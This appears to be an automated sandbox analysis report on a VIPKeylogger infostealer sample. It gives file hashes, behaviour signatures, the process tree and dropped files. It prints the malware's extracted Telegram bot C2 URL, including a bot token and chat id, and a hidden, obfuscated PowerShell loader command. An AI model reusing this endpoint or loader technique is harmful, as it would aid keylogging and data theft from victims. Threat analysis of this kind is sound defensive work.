Analysis

  • max time kernel
    120s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20240705-en
  • resource tags

    arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
  • submitted
    30/08/2024, 01:40

General

  • Target

    89a9123df318a4c77a378e687f5e4c1c7f7806d64c85a7360a556b487343a49b.exe

  • Size

    698KB

  • MD5

    0815e4fcd9b75660891ec15ce119fa70

  • SHA1

    7f8c1c73194725dce424b72ff2306203f3590c3b

  • SHA256

    89a9123df318a4c77a378e687f5e4c1c7f7806d64c85a7360a556b487343a49b

  • SHA512

    c613b96c177294bbbfce2e0b86d15f32d2c7c579bf4c50ef0940ae697e7cfa0f36512ff7fa221c2a5b6963ca6b000b34876707bdc56351c20d20a3ee54fa68ba

  • SSDEEP

    12288:67MJHZFQpHB5LOBTCUbINBoQYwXsCGJt5aFp0zS6w+CAG0snsQc:6IJHoph5CBTCUUN6QYwZrH6VfAsQc

Malware Config

Extracted

Family

vipkeylogger

C2

https://api.telegram.org/bot7480851360:AAFGFIgeYioB7dUKsMFuCrt400Zxu2IugeM/sendMessage?chat_id=6070006284

Signatures

  • VIPKeylogger

    VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 1 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Program Files directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\89a9123df318a4c77a378e687f5e4c1c7f7806d64c85a7360a556b487343a49b.exe
    "C:\Users\Admin\AppData\Local\Temp\89a9123df318a4c77a378e687f5e4c1c7f7806d64c85a7360a556b487343a49b.exe"
    1⤵
    • Drops file in System32 directory
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:1220
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -windowstyle hidden "$Kludgy=Get-Content 'C:\Users\Admin\AppData\Local\errancies\Tansies.Tem';$Crushes53=$Kludgy.SubString(52844,3);.$Crushes53($Kludgy)
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Suspicious use of SetThreadContext
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2160
      • C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe
        "C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe"
        3⤵
        • Suspicious use of NtCreateThreadExHideFromDebugger
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2384

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\errancies\Tansies.Tem

    Filesize

    51KB

    MD5

    5d38b5b5dd9df5889a8cdae91bda8ce0

    SHA1

    55d4f7428bfc7a1c572e2f65d2877f53dfe9b00c

    SHA256

    45c83c93a697679fb2f35ba68b3df5393398970f0adbda0f8af697080a661a07

    SHA512

    9632d65d07e63235746f60133dfeaad9474db92a70d2264300d3f433399b0ca0e647120d3393d07e5f722597ec1e14a4111f9b0819886cb11f646d75c1e6be8d

  • C:\Users\Admin\AppData\Local\errancies\Tarantulid.Bed

    Filesize

    315KB

    MD5

    657f4fbdce2aec00af95560a9bb2f05f

    SHA1

    05d405cdf1e9b5617ff83d7833d7eb4f011a017b

    SHA256

    dc6ea094e7cd8bb7306cb687eb37b1e8c711ea58c626628cd3c70dc329bdde6d

    SHA512

    9f77c539e9e76a3b9f3b77f5e7a771b23881daefd267cce693e77d40b0cb9a0cfb0371c61d9e5395af20d5395c5b0cc886828099ea136f35b87ef9f6ba638b38

  • memory/2160-15-0x0000000074540000-0x0000000074AEB000-memory.dmp

    Filesize

    5.7MB

  • memory/2160-11-0x0000000074540000-0x0000000074AEB000-memory.dmp

    Filesize

    5.7MB

  • memory/2160-13-0x0000000074540000-0x0000000074AEB000-memory.dmp

    Filesize

    5.7MB

  • memory/2160-12-0x0000000074540000-0x0000000074AEB000-memory.dmp

    Filesize

    5.7MB

  • memory/2160-9-0x0000000074541000-0x0000000074542000-memory.dmp

    Filesize

    4KB

  • memory/2160-10-0x0000000074540000-0x0000000074AEB000-memory.dmp

    Filesize

    5.7MB

  • memory/2160-17-0x0000000074540000-0x0000000074AEB000-memory.dmp

    Filesize

    5.7MB

  • memory/2160-18-0x00000000065A0000-0x0000000007C03000-memory.dmp

    Filesize

    22.4MB

  • memory/2160-19-0x0000000074540000-0x0000000074AEB000-memory.dmp

    Filesize

    5.7MB

  • memory/2384-39-0x0000000000220000-0x0000000001282000-memory.dmp

    Filesize

    16.4MB

  • memory/2384-40-0x0000000000220000-0x0000000001282000-memory.dmp

    Filesize

    16.4MB

  • memory/2384-41-0x0000000000220000-0x0000000000262000-memory.dmp

    Filesize

    264KB